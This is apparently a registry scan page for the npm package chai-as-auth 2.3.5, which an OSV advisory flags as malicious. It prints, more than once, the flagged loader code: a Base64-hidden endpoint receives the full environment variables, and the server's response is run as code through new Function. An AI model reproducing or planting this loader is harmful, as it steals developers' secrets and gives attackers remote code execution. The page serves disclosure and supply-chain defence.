registry / chai-as-auth / 2.3.5

chai-as-auth@2.3.5

This document describes the management of vulnerabilities for the project and all modules within the organization.

OSV Malicious Advisory

scanned 6m ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-10518 confirms this npm version as malicious.

Advisory

MAL-2026-10518

Source

OpenSSF Malicious Packages via OSV

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 51.9 KB of source, external domains: github.com

Source & flagged code

4 flagged

lib/initializeCaller.jsView file

Lines 1-48javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

8 DEV_SECRET_VALUE: "Xw==",

9 }

10};

12(async function initializeCaller(..._args) {

13 const apiEndpoint = atob(process.env.DEV_API_KEY);

14 const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);

15 const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);

17 let retryCount = 5;

19 while (retryCount > 0) {

20 try {

21 const originalLog = console.log;

23 await axios.post(

24 apiEndpoint,

25 { ...process.env },

26 { headers: { "x-secret-header": "secret" } }

27 )

28 .then(response => {

29 const executor = new Function("require", response.data);

30 executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L13

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

High

Eval

Package source references dynamic code evaluation.

lib/initializeCaller.jsView on unpkg · L28

31 console.log("The request was completed successfully.");

32 return true;

33 })

34 .catch(error => {

35 console.log("Error:", error);

36 return false;

37 });

39 // // Safe placeholder request

40 // const response = (await axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.cookie;

41 // const handler = new Function.constructor("require", response);

42 // handler(require);

44 console.log = originalLog;

45 break;

46 }

47 catch (error) {

48 retryCount--;

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539

Source & flagged code

4 flagged · loading source

lib/initializeCaller.jsView file

28.then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Eval

Package source references dynamic code evaluation.

lib/initializeCaller.jsView on unpkg · L28

13const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); L15: const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L13

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

4 High3 Medium3 Low

HighChild Process

HighEvallib/initializeCaller.js

HighSame File Env Network Executionlib/initializeCaller.js

HighBase64 Obscured Urllib/initializeCaller.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

4 flagged

lib/initializeCaller.jsView file

Lines 1-48javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

8 DEV_SECRET_VALUE: "Xw==",

9 }

10};

12(async function initializeCaller(..._args) {

13 const apiEndpoint = atob(process.env.DEV_API_KEY);

14 const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);

15 const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);

17 let retryCount = 5;

19 while (retryCount > 0) {

20 try {

21 const originalLog = console.log;

23 await axios.post(

24 apiEndpoint,

25 { ...process.env },

26 { headers: { "x-secret-header": "secret" } }

27 )

28 .then(response => {

29 const executor = new Function("require", response.data);

30 executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L13

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

High

Eval

Package source references dynamic code evaluation.

lib/initializeCaller.jsView on unpkg · L28

31 console.log("The request was completed successfully.");

32 return true;

33 })

34 .catch(error => {

35 console.log("Error:", error);

36 return false;

37 });

39 // // Safe placeholder request

40 // const response = (await axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data.cookie;

41 // const handler = new Function.constructor("require", response);

42 // handler(require);

44 console.log = originalLog;

45 break;

46 }

47 catch (error) {

48 retryCount--;

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539